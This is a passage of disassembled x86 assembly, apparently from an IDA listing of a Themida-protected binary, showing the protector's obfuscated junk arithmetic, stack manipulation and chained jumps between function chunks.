		sub	edx, 5A75CF8Bh
		sub	ebx, edx
		pop	edx
		jmp	loc_557FC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5516F8


loc_55AFE2:				; CODE XREF: sub_5516F8+752Ej
		add	edi, 7E88325Dh
		add	edi, 81C0A6Eh
		add	edi, 70E55308h
		std
		jmp	sub_557F09
; END OF FUNCTION CHUNK	FOR sub_5516F8
; ---------------------------------------------------------------------------


loc_55AFFA:				; CODE XREF: Themida_:005558EEj
		push	edx
		mov	dh, 2Ch
		push	ebx
		push	ecx
		jmp	loc_55C5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_553651


loc_55B004:				; CODE XREF: sub_553651-1958j
		and	eax, edx
		push	[esp+8+var_8]
		pop	edx
		sub	esp, 4
		mov	[esp+0Ch+var_C], ebx
		mov	ebx, esp
		add	ebx, 4
		push	4B64h
		mov	[esp+10h+var_10], eax
		jmp	loc_556447
; END OF FUNCTION CHUNK	FOR sub_553651
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B028:				; CODE XREF: sub_556A70+25j
		add	ebp, ecx
		pop	ecx
		jmp	loc_557180
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55227F


loc_55B030:				; CODE XREF: sub_55227F+2E75j
		add	esp, 4
		jmp	sub_5565AD
; END OF FUNCTION CHUNK	FOR sub_55227F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B03B:				; CODE XREF: sub_556A70+41Fj
		mov	cx, si
		pop	esi
		jmp	loc_55BC6C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B044:				; CODE XREF: Themida_:00558DA3j
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		shl	al, 2
		jmp	loc_55BC06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55A704


loc_55B053:				; CODE XREF: sub_55A704+10j
		push	esi
		push	102B66ACh
		mov	esi, [esp+4+var_4]
		add	esp, 4
		sub	eax, 687E111Bh
		sub	eax, 25D62919h
		add	eax, esi
		push	edx
		mov	edx, 25D62919h
		add	eax, edx
		pop	edx
		add	eax, 687E111Bh
		push	dword ptr [esp+0]
		pop	esi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_556F7F
; END OF FUNCTION CHUNK	FOR sub_55A704
; ---------------------------------------------------------------------------


loc_55B08E:				; CODE XREF: Themida_:0055C0DDj
		add	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 51B852C4h
		mov	ebx, 0AE47AD40h
		add	ebx, ebp
		pop	ebp
		sub	ecx, 3F7B0893h
		sub	ecx, 7B327DD0h
		add	ecx, ebx
		add	ecx, 7B327DD0h
		jmp	loc_557174
; ---------------------------------------------------------------------------


loc_55B0C1:				; CODE XREF: Themida_:005583D0j
		mov	ah, 0DCh
		jmp	loc_550DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552E24


loc_55B0C8:				; CODE XREF: sub_552E24+9D0Dj
		add	ebx, 5C720FE2h
		dec	ebx
		and	ebx, 775570F1h
		neg	ebx
		sub	ebx, 4BA1A6D3h
		and	ebp, ebx
		pop	ebx
		jmp	loc_550ED1
; END OF FUNCTION CHUNK	FOR sub_552E24
; ---------------------------------------------------------------------------


loc_55B0E5:				; CODE XREF: Themida_:00559513j
		mov	esp, [esp]
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_5542BF
; ---------------------------------------------------------------------------


loc_55B0F1:				; CODE XREF: Themida_:0055838Cj
		xchg	esi, [esp]
		mov	esp, [esp]
		add	ebp, 1D644CA0h
		inc	ebp
		jmp	loc_55ADDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B103:				; CODE XREF: sub_556A70+2CBj
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55B108:				; CODE XREF: sub_556A70-4E39j
		not	ebp
		push	eax
		mov	eax, 16511FBDh
		or	ebp, eax
		mov	eax, [esp+0Ch+var_C]
		jmp	loc_5584EA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B11A:				; CODE XREF: sub_5584F8+1C2Ej
		pop	esi
		or	ebp, eax
		pop	eax
		shl	ebp, 5
		add	ebp, 0D95BEA5Ah
		add	eax, ebp
		mov	ebp, [esp+0]
		jmp	loc_55B2BA
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B131:				; CODE XREF: sub_556A70+19C5j
		push	eax
		jmp	loc_55A556
; ---------------------------------------------------------------------------


loc_55B137:				; CODE XREF: sub_556A70+F34j
		pop	ebx
		jmp	loc_553C5D
; ---------------------------------------------------------------------------


loc_55B13D:				; CODE XREF: sub_556A70+7B1j
		push	ecx
		mov	ecx, 3DB07A2Ah
		sub	eax, ecx
		jmp	loc_55BCDE
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B14A:				; CODE XREF: Themida_:00553754j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55877E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B153:				; CODE XREF: sub_556A70+42A3j
		push	1FB4h
		mov	[esp-2Ah+arg_24+2], esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		push	esi
		push	[esp-26h+arg_24+2]
		mov	esi, [esp-22h+arg_1C+2]
		add	esp, 4
		pop	[esp-26h+arg_20+2]
		mov	esp, [esp-2Ah+arg_24+2]
		sub	ebx, 513922F2h
		add	ebx, eax
		add	ebx, 513922F2h
		jmp	loc_558673
; ---------------------------------------------------------------------------


loc_55B190:				; CODE XREF: sub_556A70-14F3j
		push	0E1C195Eh
		pop	edi
		jmp	loc_557D8B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B19B:				; CODE XREF: Themida_:00559D3Fj
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edx
		push	71B4h
		mov	[esp], ebp
		jmp	loc_556B09
; ---------------------------------------------------------------------------


loc_55B1B7:				; CODE XREF: Themida_:0055CE09j
		push	2
		mov	eax, [esp]
		add	esp, 4
		add	ebx, 0AEF6B90h
		sub	ebx, 185C2529h
		add	ebx, eax
		add	ebx, 185C2529h
		sub	ebx, 0AEF6B90h
		jmp	loc_55CF3C
; ---------------------------------------------------------------------------


loc_55B1E1:				; CODE XREF: Themida_:005513E6j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_55C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55B1EF:				; CODE XREF: sub_5566B9+2415j
		pop	ebp
		add	eax, ebp
		sub	esp, 4
		mov	[esp+10h+var_10], edx
		mov	edx, 6C665D18h
		sub	eax, edx
		mov	edx, [esp+10h+var_10]
		jmp	loc_5531FF
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------


loc_55B207:				; CODE XREF: Themida_:00558800j
		push	0A390702h
		jmp	loc_556F3B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B211:				; CODE XREF: sub_556A70-1EBBj
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		jmp	loc_559C5A
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55AE6E


loc_55B226:				; CODE XREF: sub_55AE6E+1C7Bj
		push	edx
		not	byte ptr [esp+0]
		pop	edx
		sub	esp, 2
		mov	[esp+0], bx
		jmp	loc_5555AE
; END OF FUNCTION CHUNK	FOR sub_55AE6E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B23A:				; CODE XREF: sub_556A70+2437j
		or	eax, eax
		jz	loc_556BFD
		push	726Eh
		jmp	loc_551486
; ---------------------------------------------------------------------------


loc_55B24C:				; CODE XREF: sub_556A70+5947j
		push	dword ptr [edi+24h]
		sub	esp, 4
		jmp	loc_5590F6
; ---------------------------------------------------------------------------


loc_55B257:				; CODE XREF: sub_556A70+2611j
		sub	eax, 21FC43EDh
		add	edx, 5C2B44DCh
		sub	edx, eax
		sub	edx, 5C2B44DCh
		pop	eax
		xchg	edx, [esp-4+arg_0]
		jmp	loc_551FE8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B273:				; CODE XREF: Themida_:0055A010j
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555AFD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559D5E


loc_55B27F:				; CODE XREF: sub_559D5E+Fj
		sub	edi, ebx
		add	edi, 167313EEh
		push	[esp+4+var_4]
		pop	ebx
		push	eax
		mov	eax, esp
		jmp	loc_55546E
; END OF FUNCTION CHUNK	FOR sub_559D5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B293:				; CODE XREF: sub_556A70-529Cj
		push	edx
		mov	edx, esp
		push	ebx
		mov	ebx, 33645C27h
		and	ebx, 9722B0h
		and	ebx, 558B730Eh
		dec	ebx
		and	ebx, 6D5163F9h
		add	ebx, 92AE9C0Bh
		jmp	loc_551530
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B2BA:				; CODE XREF: sub_5584F8+2C34j
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		and	ecx, eax
		jmp	loc_550A52
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55B2D7:				; CODE XREF: Themida_:00550B35j
		mov	edx, [esp]
		jmp	loc_55B518
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B2DF:				; CODE XREF: sub_556A70+27E5j
		push	edx
		jmp	loc_554C98
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5566B9


loc_55B2E5:				; CODE XREF: sub_5566B9-3909j
		add	esp, 4
		sub	esp, 4
		mov	[esp+10h+var_10], ecx
		mov	ecx, 4
		add	ebx, ecx
		pop	ecx
		jmp	loc_552021
; END OF FUNCTION CHUNK	FOR sub_5566B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B2FB:				; CODE XREF: sub_556A70+58Cj
		mov	ecx, 7BAB049Ch
		jmp	loc_5558D1
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B305:				; CODE XREF: sub_5584F8+74Ej
		mov	esp, [esp-4+arg_0]
		sub	esp, 4
		jmp	loc_5551E3
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------


loc_55B313:				; CODE XREF: Themida_:00557B83j
		inc	eax
		jmp	loc_553EBC
; ---------------------------------------------------------------------------


loc_55B319:				; CODE XREF: Themida_:0055AEA1j
		push	edi
		jmp	loc_558099
; ---------------------------------------------------------------------------


loc_55B31F:				; CODE XREF: Themida_:00553D8Fj
		add	bh, 2Bh
		add	bh, 30h
		mov	dl, bh
		jmp	loc_555983
; ---------------------------------------------------------------------------


loc_55B32C:				; CODE XREF: Themida_:0055C42Fj
		add	esp, 4
		jmp	loc_551228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55B403


loc_55B337:				; CODE XREF: sub_55B403+1j
		mov	ebp, 2
		mov	ebx, ebp
		mov	ebp, [esp+4+var_4]
		add	esp, 4
		add	ebp, 60124645h
		add	ebp, ebx
		push	edi
		mov	edi, 60124645h
		sub	ebp, edi
		jmp	loc_5546FA
; END OF FUNCTION CHUNK	FOR sub_55B403
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B359:				; CODE XREF: sub_556A70-2C8Aj
		add	eax, 68D66F2Dh
		jmp	loc_555219
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B363:				; CODE XREF: sub_5584F8-4F23j
		xor	esi, 6E609B9h
		mov	eax, esi
		pop	esi
		dec	eax
		add	eax, 1
		sub	esp, 4
		mov	[esp+0], ebp
		mov	ebp, 22F453E0h
		jmp	loc_554BD1
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B380:				; CODE XREF: sub_556A70+2B47j
		xor	ebx, [esp-8+arg_4]
		xor	[esp-8+arg_4], ebx
		xor	ebx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		bt	word ptr [esp-8+arg_4],	ax
		pushf
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B397:				; CODE XREF: Themida_:0055131Dj
		pop	dx
		and	cl, bl
		mov	ebx, [esp]
		add	esp, 4
		sub	cl, 9Ah
		add	al, cl
		mov	ecx, [esp]
		add	esp, 4
		push	87Dh
		mov	[esp], ecx
		mov	ch, 20h
		jmp	loc_558758
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B3BE:				; CODE XREF: sub_5584F8-7A1Ej
		mov	esi, esp
		jmp	loc_551426
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B3C5:				; CODE XREF: sub_556A70+6335j
		add	esi, edi
		pop	edi
		add	esi, 2
		xchg	esi, [esp-8+arg_4]
		jmp	loc_55BC0D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B3D6:				; CODE XREF: Themida_:0055AE0Cj
		sub	al, 0F0h
		push	ebx
		push	ecx
		mov	ch, 0E0h
		mov	bh, 32h
		xor	bh, ch
		pop	ecx
		shr	bh, 1
		xor	bh, 76h
		push	small 194Ch
		mov	[esp], bx
		not	byte ptr [esp+1]
		pop	bx
		inc	bh
		add	bh, 6Fh
		push	cx
		push	edx
		mov	dl, bh
		jmp	loc_550A75

; =============== S U B	R O U T	I N E =======================================



sub_55B403	proc near		; CODE XREF: sub_55C2FC+6j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005546FA SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00555B4A SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00559DCE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0055AC37 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0055B337 SIZE 00000022 BYTES

		push	ebp
		jmp	loc_55B337
sub_55B403	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_551E74


loc_55B409:				; CODE XREF: sub_551E74+76A5j
		mov	ecx, 7F481A35h
		sub	ebx, ecx
		pop	ecx
		pop	dword ptr [eax]
		jmp	loc_550A46
; END OF FUNCTION CHUNK	FOR sub_551E74
; ---------------------------------------------------------------------------


loc_55B418:				; CODE XREF: Themida_:00554120j
		sub	al, 0DEh
		push	cx
		jmp	loc_55604D
; ---------------------------------------------------------------------------


loc_55B421:				; CODE XREF: Themida_:00551EBAj
		pop	edx
		xchg	edi, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		push	923h
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55C0C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5584F8


loc_55B43B:				; CODE XREF: sub_5584F8-70CCj
		add	esi, 4
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		push	4CC2h
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		push	15FFh
		jmp	loc_5596E7
; END OF FUNCTION CHUNK	FOR sub_5584F8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B464:				; CODE XREF: sub_556A70-3EC4j
		shr	ebp, 8
		add	ebp, 39406E95h
		sub	edi, ebp
		pop	ebp
		and	eax, edi
		push	[esp-8+arg_4]
		mov	edi, [esp-4+arg_0]
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-4+arg_0]
		pop	esp
		or	eax, eax
		jz	loc_5571F0
		push	eax
		jmp	loc_55B66B
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B49C:				; CODE XREF: Themida_:00556A06j
		shr	edx, 6
		sub	edx, 0FFFFFFFFh
		sub	edx, 6F0A1295h
		add	edx, 6D55D957h
		add	eax, edx
		jmp	loc_55C943
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559F2D


loc_55B4B5:				; CODE XREF: sub_559F2D+267Cj
		push	ecx
		mov	ecx, 29CA2F77h
		push	edx
		mov	edx, 79900669h
		sub	edx, 4FC5D6F6h
		xor	ecx, edx
		pop	edx
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	edx
		mov	dl, 3Ch
		sub	bl, dl
		pop	edx
		sub	bl, al
		push	ecx
		push	eax
		jmp	sub_55A9A4
; END OF FUNCTION CHUNK	FOR sub_559F2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_555B85


loc_55B4E2:				; CODE XREF: sub_555B85+3BD1j
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	sub_5566B9
; END OF FUNCTION CHUNK	FOR sub_555B85
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B4ED:				; CODE XREF: sub_556A70+212Bj
		mov	esi, ecx
		pop	ecx
		add	esi, 2C801B80h
		jmp	loc_550DFA
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55BC76
; ---------------------------------------------------------------------------
		lodsb
		push	edx
		push	eax
		push	ebx
		mov	bl, 88h
		jmp	loc_558D9B
; ---------------------------------------------------------------------------


loc_55B518:				; CODE XREF: Themida_:0055B2DAj
		add	esp, 4
		add	edx, 4
		jmp	loc_552709
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B529:				; CODE XREF: sub_556A70+3EC7j
		sub	edi, esi
		pop	esi
		sub	ebx, 1B496FABh
		sub	ebx, edi
		add	ebx, 1B496FABh
		mov	edi, [esp+8+var_8]
		add	esp, 4
		add	ebx, 7EF55A35h
		sub	ebx, 1A3436ADh
		jmp	loc_55CE67
; ---------------------------------------------------------------------------


loc_55B554:				; CODE XREF: sub_556A70+8CAj
		shl	ebx, 1
		sub	ebx, 904E666Eh
		add	edx, 72EB2434h
		sub	edx, ebx
		push	edi
		mov	edi, 58D40890h
		or	edi, 5A563EBDh
		not	edi
		or	edi, 215169B4h
		sub	edi, 9511234h
		or	edi, 2D8B2BEDh
		jmp	sub_555903
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55B591:				; CODE XREF: Themida_:00553F46j
		or	ebx, 72503706h
		xor	ebx, 4A3C7C7Ah
		push	ebp
		mov	ebp, 1A164FF3h
		xor	ebx, ebp
		jmp	loc_55CF6B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B5AA:				; CODE XREF: sub_556A70+4DC6j
		mov	[esp+10h+var_10], ebx
		push	28700087h
		jmp	loc_55A0C8
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B5B7:				; CODE XREF: Themida_:0055B78Bj
		sub	edx, 62945705h
		add	edx, eax
		add	edx, 62945705h
		pop	eax
		push	ebx
		mov	ebx, 4
		jmp	loc_55986F
; ---------------------------------------------------------------------------


loc_55B5D1:				; CODE XREF: Themida_:00553F16j
		mov	ebp, [esp]
		add	esp, 4
		not	edx
		shr	edx, 6
		shl	edx, 5
		sub	edx, 47074883h
		push	ebp
		mov	ebp, 179107Eh
		sub	edx, ebp
		jmp	loc_550CEC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B5F5:				; CODE XREF: sub_556A70-676j
		sub	esi, 67F357D5h
		mov	edi, [esp-1Eh+arg_18+2]
		jmp	loc_5527CB
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
		lodsb
		push	ecx
		push	ebx
		push	edx
		mov	dh, 39h
		mov	bl, 42h
		jmp	loc_55B6D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B610:				; CODE XREF: sub_556A70+B7j
		mov	ebx, 4ECC21B7h
		mov	ebp, 3B791F33h
		xor	ebp, ebx
		pop	ebx
		shr	ebp, 4
		push	edx
		mov	edx, 5FB64A16h
		jmp	loc_559B53
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B62B:				; CODE XREF: Themida_:0055182Cj
		pop	eax
		jmp	loc_55172C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552634


loc_55B631:				; CODE XREF: sub_552634+1A4Bj
		shr	esi, 2
		jmp	loc_550E1B
; END OF FUNCTION CHUNK	FOR sub_552634
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_558D0E


loc_55B639:				; CODE XREF: sub_558D0E-870j
		mov	edi, ebp
		mov	ebp, [esp+0]
		jmp	loc_556DD1
; END OF FUNCTION CHUNK	FOR sub_558D0E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B643:				; CODE XREF: sub_556A70+1004j
		push	2951h
		mov	[esp-0Ah+arg_4+2], ebp
		push	[esp-0Ah+arg_8+2]
		push	[esp-6+arg_0+2]
		pop	ebp
		jmp	loc_555844
; ---------------------------------------------------------------------------


loc_55B658:				; CODE XREF: sub_556A70+35EDj
		add	esi, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		sub	esi, 4
		xor	esi, [esp+0]
		jmp	loc_55823F
; ---------------------------------------------------------------------------


loc_55B66B:				; CODE XREF: sub_556A70+4A27j
		mov	eax, 1Ch
		sub	eax, 585E7215h
		jmp	loc_55C1FE
; ---------------------------------------------------------------------------


loc_55B67A:				; CODE XREF: sub_556A70+435Fj
		pop	edx
		xchg	eax, [esp-1Eh+arg_18+2]
		mov	esp, [esp-1Eh+arg_18+2]
		mov	fs:[edx], ax
		jmp	loc_550A46
; ---------------------------------------------------------------------------


loc_55B68A:				; CODE XREF: sub_556A70-1A64j
		pop	ecx
		pop	eax
		push	3045h
		mov	[esp-28h+arg_24], esi
		pop	eax
		push	[esp-2Ch+arg_28]
		pop	esi
		push	ecx
		jmp	loc_55705C
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557F09


loc_55B69F:				; CODE XREF: sub_557F09+23j
		pop	ebp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_55C157
; END OF FUNCTION CHUNK	FOR sub_557F09
; ---------------------------------------------------------------------------


loc_55B6B5:				; CODE XREF: Themida_:005563B7j
		push	ecx
		mov	cl, 9Bh
		and	cl, 0BCh
		jmp	loc_55BE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5567EA


loc_55B6C0:				; CODE XREF: sub_5567EA+Fj
		pop	esp
		mov	[esp+0], ebx
		push	edx
		push	0B671CEFh
		pop	edx
		jmp	loc_5513F2
; END OF FUNCTION CHUNK	FOR sub_5567EA
; ---------------------------------------------------------------------------


loc_55B6D0:				; CODE XREF: Themida_:0055B60Bj
		xor	bl, dh
		pop	edx
		jmp	loc_559269
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B6D8:				; CODE XREF: sub_556A70-2DB9j
		mov	esi, 1F0C7A18h
		sub	esi, ebx
		pop	ebx
		and	eax, esi
		push	[esp-4+arg_0]
		jmp	loc_55A0D4
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B6EA:				; CODE XREF: Themida_:00557F46j
		xor	ebx, eax
		pop	eax
		add	ecx, ebx
		jmp	loc_55C058
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B6F4:				; CODE XREF: sub_556A70-1F56j
		mov	eax, 4C0C5AB9h
		sub	eax, 0DD05353h
		or	eax, 369F1DFFh
		inc	eax
		or	eax, 41BA7323h
		add	eax, 80408CDCh
		add	edi, eax
		mov	eax, [esp+0]
		jmp	loc_557B46
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B718:				; CODE XREF: Themida_:0055AEE3j
		sub	ecx, esi
		pop	esi
		push	edx
		mov	edx, 46DF196Ch
		xor	ecx, edx
		pop	edx
		and	ecx, 62506EB2h
		push	edi
		jmp	loc_558D38

; =============== S U B	R O U T	I N E =======================================



sub_55B730	proc near		; CODE XREF: sub_556A70-30A6j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00550D6E SIZE 0000003C BYTES
; FUNCTION CHUNK AT 00551FC3 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00553DC5 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00553EF5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055599A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00555ABB SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0055601C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005566FB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005599CC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0055A656 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0055AD65 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055CE3F SIZE 00000007 BYTES

		sub	esp, 4
		jmp	loc_551FC3
sub_55B730	endp

; ---------------------------------------------------------------------------


loc_55B73B:				; CODE XREF: Themida_:00553A9Ej
		inc	ebp
		inc	ebp
		push	0
		sub	dword ptr [esp], 39BE243Dh
		sub	[esp], ebp
		add	dword ptr [esp], 39BE243Dh
		mov	ebp, [esp]
		jmp	loc_5557D9
; ---------------------------------------------------------------------------


loc_55B75B:				; CODE XREF: Themida_:00552221j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	7E3Ah
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 4
		jmp	loc_55B5B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55B790:				; CODE XREF: sub_552B74+9068j
		sub	edi, edx
		jmp	loc_553274
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B797:				; CODE XREF: sub_556A70-1332j
		push	275F6477h
		pop	edi
		jmp	loc_553B9D
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B7A2:				; CODE XREF: Themida_:00556533j
		pop	ebx
		shl	edi, 3
		or	edi, 164E5F28h
		or	edi, 32B66457h
		sub	edi, 52C7B4D8h
		mov	esi, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esi, 6C374B23h
		jmp	loc_554BC3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_552B74


loc_55B7CE:				; CODE XREF: sub_552B74+5A04j
		mov	edx, 6DF6381Bh
		push	ebx
		mov	ebx, 0C660355h
		add	ebx, 0C304A59h
		sub	ebx, 3B8C182Eh
		sub	ebx, 6F140161h
		sub	edx, ebx
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		mov	ecx, edx
		pop	edx
		sub	edi, ecx
		push	dword ptr [esp+0]
		jmp	loc_5534BF
; END OF FUNCTION CHUNK	FOR sub_552B74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B800:				; CODE XREF: sub_556A70+43D9j
		mov	eax, [esp-1Ah+arg_14+2]
		jmp	loc_551ED7
; END OF FUNCTION CHUNK	FOR sub_556A70
; ---------------------------------------------------------------------------


loc_55B808:				; CODE XREF: Themida_:005520B5j
		push	ebx
		jmp	loc_55A8A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_556A70


loc_55B80E:				; CODE XREF: sub_556A70-107Bj
		add	ecx, ebx
		add	ecx, 7FA67942h
